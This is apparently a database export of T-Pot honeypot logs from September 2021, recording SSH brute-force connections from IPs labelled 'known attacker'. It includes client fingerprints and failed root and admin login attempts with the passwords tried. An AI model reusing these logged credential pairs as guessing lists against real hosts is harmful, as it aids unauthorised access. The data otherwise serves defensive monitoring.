"aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 29356, "dest_port": 22, "timestamp": "2021-09-20T11:35:32.198325", "@timestamp": "2021-09-20T11:35:32.198Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30482	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:35:31.938171+03	2021-09-20 14:45:03.213143+03	{"_id": "5wb9AnwBvYTbRNuEYTyy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:29356 (192.168.176.2:22) [session: b0fb01ff1011]", "session": "b0fb01ff1011", "@version": "1", "protocol": "ssh", "src_port": 29356, "dest_port": 22, "timestamp": "2021-09-20T11:35:31.938171Z", "@timestamp": "2021-09-20T11:35:31.938Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30484	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:35:32.198661+03	2021-09-20 14:45:03.216141+03	{"_id": "6Qb9AnwBvYTbRNuEYTyy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "b0fb01ff1011", "@version": "1", "timestamp": "2021-09-20T11:35:32.198661Z", "@timestamp": "2021-09-20T11:35:32.198Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30485	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:35:32.198187+03	2021-09-20 14:45:03.217141+03	{"_id": "6wb9AnwBvYTbRNuEYzxh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 113900150549756, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 29356, "dest_port": 22, "timestamp": "2021-09-20T11:35:32.198187Z", "@timestamp": "2021-09-20T11:35:32.198Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30486	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:35:31.94215+03	2021-09-20 14:45:03.218142+03	{"_id": "7Qb9AnwBvYTbRNuEZDxs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 29356, "timestamp": "2021-09-20T11:35:31.942150", "@timestamp": "2021-09-20T11:35:31.942Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30487	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:35:38.774968+03	2021-09-20 14:45:03.219143+03	{"_id": "-gb9AnwBvYTbRNuEfTwP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 36.27.214.211:40650 (192.168.176.2:22) [session: b7b70d453c91]", "session": "b7b70d453c91", "@version": "1", "protocol": "ssh", "src_port": 40650, "dest_port": 22, "timestamp": "2021-09-20T11:35:38.774968Z", "@timestamp": "2021-09-20T11:35:38.774Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30488	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:35:38.777895+03	2021-09-20 14:45:03.220141+03	{"_id": "-wb9AnwBvYTbRNuEfTwP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "b7b70d453c91", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:35:38.777895Z", "@timestamp": "2021-09-20T11:35:38.777Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30489	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:35:39.067997+03	2021-09-20 14:45:03.222141+03	{"_id": "_Ab9AnwBvYTbRNuEfTwP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "b7b70d453c91", "@version": "1", "timestamp": "2021-09-20T11:35:39.067997Z", "@timestamp": "2021-09-20T11:35:39.067Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30490	36.27.214.211	109.199.241.180	Suricata	2021-09-20 14:35:39.067156+03	2021-09-20 14:45:03.223142+03	{"_id": "_Qb9AnwBvYTbRNuEfjy8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "flow_id": 2029648838550145, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40650, "dest_port": 22, "timestamp": "2021-09-20T11:35:39.067156Z", "@timestamp": "2021-09-20T11:35:39.067Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30491	36.27.214.211	109.199.241.180	Fatt	2021-09-20 14:35:39.067381+03	2021-09-20 14:45:03.224142+03	{"_id": "_gb9AnwBvYTbRNuEfzzH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 40650, "dest_port": 22, "timestamp": "2021-09-20T11:35:39.067381", "@timestamp": "2021-09-20T11:35:39.067Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30492	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:35:40.322663+03	2021-09-20 14:45:03.227142+03	{"_id": "_wb9AnwBvYTbRNuEgDz4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.login.failed", "message": "login attempt [admin/P@55w0rd!] failed", "session": "b7b70d453c91", "@version": "1", "password": "P@55w0rd!", "username": "admin", "timestamp": "2021-09-20T11:35:40.322663Z", "@timestamp": "2021-09-20T11:35:40.322Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30493	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:35:41.614887+03	2021-09-20 14:45:03.228141+03	{"_id": "AQb9AnwBvYTbRNuEiD3J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b7b70d453c91", "@version": "1", "duration": 2.8373615741729736, "timestamp": "2021-09-20T11:35:41.614887Z", "@timestamp": "2021-09-20T11:35:41.614Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30504	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:35:59.399691+03	2021-09-20 14:45:03.245142+03	{"_id": "Sgb9AnwBvYTbRNuEyz03", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "d8600d2f467a", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:35:59.399691Z", "@timestamp": "2021-09-20T11:35:59.399Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30494	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:35:48.675677+03	2021-09-20 14:45:03.230141+03	{"_id": "BQb9AnwBvYTbRNuEoj30", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33230, "timestamp": "2021-09-20T11:35:48.675677", "@timestamp": "2021-09-20T11:35:48.675Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30495	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:35:33.604766+03	2021-09-20 14:45:03.231142+03	{"_id": "7gb9AnwBvYTbRNuEaTyD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/3904edfhukjsjapiwq9e] failed", "session": "b0fb01ff1011", "@version": "1", "password": "3904edfhukjsjapiwq9e", "username": "root", "timestamp": "2021-09-20T11:35:33.604766Z", "@timestamp": "2021-09-20T11:35:33.604Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30496	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:35:34.896172+03	2021-09-20 14:45:03.233141+03	{"_id": "7wb9AnwBvYTbRNuEbTxs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/3939889] failed", "session": "b0fb01ff1011", "@version": "1", "password": "3939889", "username": "root", "timestamp": "2021-09-20T11:35:34.896172Z", "@timestamp": "2021-09-20T11:35:34.896Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30497	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:35:36.171591+03	2021-09-20 14:45:03.234142+03	{"_id": "8Qb9AnwBvYTbRNuEcTxU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/3edc1qaz] failed", "session": "b0fb01ff1011", "@version": "1", "password": "3edc1qaz", "username": "root", "timestamp": "2021-09-20T11:35:36.171591Z", "@timestamp": "2021-09-20T11:35:36.171Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30498	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:35:37.436113+03	2021-09-20 14:45:03.236142+03	{"_id": "8gb9AnwBvYTbRNuEeTwl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "b0fb01ff1011", "@version": "1", "duration": 5.495117425918579, "timestamp": "2021-09-20T11:35:37.436113Z", "@timestamp": "2021-09-20T11:35:37.436Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
